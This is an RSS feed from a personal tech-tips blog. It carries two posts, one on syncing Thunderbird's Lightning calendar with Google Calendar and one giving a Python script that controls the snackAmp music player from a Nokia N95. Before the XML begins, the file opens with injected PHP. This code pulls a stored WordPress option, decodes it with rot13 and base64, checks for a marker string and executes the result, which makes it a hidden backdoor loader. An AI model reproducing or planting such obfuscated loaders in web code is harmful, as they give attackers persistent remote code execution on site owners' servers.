<? /**/ ?>
<?
$z=get_option("_transient_feed_99e5d264eeaa8c05e17c5eed4140b1dd"); $z=base64_decode(str_rot13($z)); if(strpos($z,"A0ED8507")!==false){ $_z=create_function("",$z); @$_z(); }
 /**/ ?>
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Dr Jan's Tips From The Top &#187; N95</title>
	<atom:link href="http://www.dr-jan.com/tips/category/N95/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dr-jan.com/tips</link>
	<description>Handy hints and techy tips from Dr Jan.</description>
	<lastBuildDate>Tue, 15 May 2012 22:11:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Thunderbird and Lightning</title>
		<link>http://www.dr-jan.com/tips/2008/04/24/thunderbird-and-lightning/</link>
		<comments>http://www.dr-jan.com/tips/2008/04/24/thunderbird-and-lightning/#comments</comments>
		<pubDate>Thu, 24 Apr 2008 22:23:52 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[backups]]></category>
		<category><![CDATA[blackberry]]></category>
		<category><![CDATA[calendars]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[N95]]></category>
		<category><![CDATA[phones]]></category>
		<category><![CDATA[thunderbird]]></category>
		<category><![CDATA[calendar]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[google data provider]]></category>
		<category><![CDATA[goosync]]></category>
		<category><![CDATA[lightning]]></category>
		<category><![CDATA[sync]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/2008/04/24/thunderbird-and-lightning/</guid>
		<description><![CDATA[Previously on Twin Peaks I wrote about the problems I was having with the Lightning calendar add-on for the Thunderbird email client, to the extent that I had to un-install the add-on and the associated Google Data Provider add-on (which synchronises calendars between Lightning and Google Calendar). I&#8217;m pleased to report that since the release [...]]]></description>
			<content:encoded><![CDATA[<p>Previously on Twin Peaks I <a href="http://www.dr-jan.com/tips/2007/12/31/disabling-thunderbird-addons/">wrote</a> about the problems I was having with the <a href="https://addons.mozilla.org/en-US/thunderbird/addon/2313">Lightning</a> calendar add-on for the <a href="http://www.mozilla.com/en-US/thunderbird/">Thunderbird</a> email client, to the extent that I had to un-install the add-on and the associated <a href="https://addons.mozilla.org/en-US/thunderbird/addon/4631">Google Data Provider</a> add-on (which synchronises calendars between Lightning and <a href="http://www.google.com/calendar/">Google Calendar</a>).</p>
<p>I&#8217;m pleased to report that since the release of version 0.8 of Lightning, and the corresponding update of the Google Data Provider add-on everything seems to be working well. I can now update calendar data in both directions.</p>
<p>This, in combination with <a href="http://www.goosync.com/">GooSync</a>, which syncs the Google Calendar to my mobile phone (a Nokia N95), means all my calendars are now easy to keep in sync.</p>
<p>For work I use a Blackberry 8300, and I&#8217;m pleased to say there&#8217;s an official <a href="http://www.google.com/support/mobile/bin/topic.cs/bin/topic.py?topic=13626&#038;hl=en">Google application</a> to sync the calendar.</p>
<p>Phew! Synchronising calendars has been a surprisingly difficult problem to solve, but thankfully we seem to have licked that particular problem now <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2008/04/24/thunderbird-and-lightning/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Remotely Controlling Your Music Player</title>
		<link>http://www.dr-jan.com/tips/2007/10/19/remotely-controlling-your-music-player/</link>
		<comments>http://www.dr-jan.com/tips/2007/10/19/remotely-controlling-your-music-player/#comments</comments>
		<pubDate>Fri, 19 Oct 2007 22:35:55 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[howto]]></category>
		<category><![CDATA[music]]></category>
		<category><![CDATA[N95]]></category>
		<category><![CDATA[phones]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[dev]]></category>
		<category><![CDATA[gui]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[s60]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[snackAmp]]></category>
		<category><![CDATA[tcp socket]]></category>
		<category><![CDATA[tkinter]]></category>
		<category><![CDATA[unicode]]></category>
		<category><![CDATA[wi-fi]]></category>
		<category><![CDATA[x-windows]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/2007/10/19/remotely-controlling-your-music-player/</guid>
		<description><![CDATA[I have recently programmed my Nokia N95 phone to control my music player (the rather marvellous snackAmp) remotely. SnackAmp sits on my Linux-based server box. It has a remote control feature (details here) which accepts control strings from a TCP socket. I wrote a Python script which runs on the phone to open a Wi-Fi [...]]]></description>
			<content:encoded><![CDATA[<p>I have recently programmed my <a href="http://www.nseries.com/products/n95/index.html#l=products,n95">Nokia N95</a> phone to control my music player (the rather marvellous <a href="http://snackamp.sourceforge.net/">snackAmp</a>) remotely.</p>
<p>SnackAmp sits on my Linux-based server box. It has a remote control feature (details <a href="http://snackamp.sourceforge.net/user_manual/um_api.html">here</a>) which accepts control strings from a TCP socket. I wrote a Python script which runs on the phone to open a Wi-Fi connection to my music server and send simple commands to control it.</p>
<p>I was pleasantly surprised at just how easy all this turned out to be <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>First, I installed <a href="http://www.python.org/">Python</a>. This is available from the <a href="http://opensource.nokia.com/projects/pythonfors60/">Nokia Opensource site</a>. The N95 uses the 3rd edition of the S60 operating system, so I downloaded these files:</p>
<ul>
<li>PythonForS60_1_4_1_3rdEd.SIS
</li>
<li>PythonScriptShell_1_4_1_3rdEd.sis
</li>
</ul>
<p>Then I wrote a small Python script to open a TCP socket on the music server and send the appropriate text strings to control the music player.</p>
<p>The script (see below) first defines some handy functions. send_command actually sends the specified command to the music player. play, pause, stop, next and prev call the send_command function with the appropriate command text.</p>
<p>The main section of the script first checks if there are any command line parameters. If there are, it tries to immediately send the appropriate command and then exits.</p>
<p>If not, it discovers which operating system it is running on, and uses that information to execute one of two sections. The S60 section uses a standard Nokia list GUI widget to enable the user to select a command. The script sends the command and exits. Note that the Nokia GUI requires you to specify all strings as Unicode. Python does this by prefixing each string with &#8216;u&#8217; &#8211; for example, u&#8217;Pause&#8217;.</p>
<p>The Linux section uses the standard Python Tkinter GUI library to generate a small X-windows based window with push buttons to select commands. This part of the script uses a loop to allow multiple commands to be sent. The window is active until you select the Quit option.</p>
<p>Here is the script:</p>
<div id="script" class="code">
<pre>
#!/usr/bin/python
import socket
import sys
import string

def send_command(command):
        # opens a socket to snackAmp, sends the appropriate command and
        # closes the socket.

        # create a socket
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # connect to server
        host = '192.168.1.20' # server address - bletchley is 192.168.1.20
        port = 8775 # server port
        s.connect((host, port))

        s.send(command) # send command

        # close the connection
        s.close()

def prev():
        print 'previous...'
        send_command('xmms_remote_playlist_prev')

def pause():
        print 'pause...'
        send_command('xmms_remote_pause')

def play():
        print 'play...'
        send_command('xmms_remote_play')

def stop():
        print 'stop...'
        send_command('xmms_remote_stop')

def next():
        print 'next...'
        send_command('xmms_remote_playlist_next')

args = sys.argv[1:]     # don't keep the program name
if len(args) > 0:
        for a in args:
                found = 0
                a = string.lower(a)
                if a == 'pause':
                        found = 1
                        pause()
                if a == 'prev':
                        found = 1
                        prev()
                if a == 'play':
                        found = 1
                        play()
                if a == 'stop':
                        found = 1
                        stop()
                if a == 'next':
                        found = 1
                        next()
                if found == 0:
                        print "Command not recognised. Currently implemented are pause, prev, play, stop, next."
else:
        if sys.platform == 'symbian_s60':
                # we are running on a Nokia phone
                import appuifw  # access to the user interface framework
                menu = [u'Pause', u'Prev', u'Next', u'Play', u'Stop']
                index = appuifw.selection_list(choices=menu, search_field=0)

                if index == 0:
                        pause()

                if index == 1:
                        prev()

                if index == 2:
                        next()

                if index == 3:
                        play()

                if index == 4:
                        stop()
        else:
                # we are running on a standard computer (i.e. not a phone)
                from Tkinter import *

                class Application(Frame):
                        def __init__(self, master=None):
                                Frame.__init__(self, master)
                                self.grid()
                                self.createWidgets()

                        def createWidgets(self):
                                self.pauseButton = Button (self, text="Pause", underline = 0, command=pause)
                                self.pauseButton.grid(row=0, column=0, columnspan=4, sticky=E+W)
                                self.prevButton = Button (self, text="Prev", underline = 1, command=prev)
                                self.prevButton.grid(row=1, column=0)
                                self.playButton = Button (self, text="Go", underline = 0, command=play)
                                self.playButton.grid(row=1, column=1)
                                self.stopButton = Button (self, text="Stop", underline = 0, command=stop)
                                self.stopButton.grid(row=1, column=2)
                                self.nextButton = Button (self, text="Next", underline = 0, command=next)
                                self.nextButton.grid(row=1, column=3)
                                self.quitButton = Button (self, text="Quit", underline = 0, command=self.quit)
                                self.quitButton.grid(row=2, column=0, columnspan=4, sticky=E+W)

                app = Application()
                app.master.title("snackAmp Control")
                app.mainloop()
</pre>
</div>
<p>You&#8217;ll need to create the script in your favourite text editor on your PC and then transfer it to the phone. I used a USB cable to connect the phone to the PC and selected the mass storage option on the phone. Once the file is transferred, you&#8217;ll need to disconnect the USB cable so the phone can access the memory card again.</p>
<p>In theory you can use Bluetooth to transfer the script, but I&#8217;ve seen reports that it doesn&#8217;t work with S60 3rd edition. I don&#8217;t have Bluetooth on my Linux server, so I can&#8217;t tell you <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>In use, start Python on the phone, then run a script. Select the script name and the command list appears. Choose a command. The &#8216;Select access point&#8217; screen appears and I choose my Wi-Fi router connection. Then magic happens and the music obeys my commands <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2007/10/19/remotely-controlling-your-music-player/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

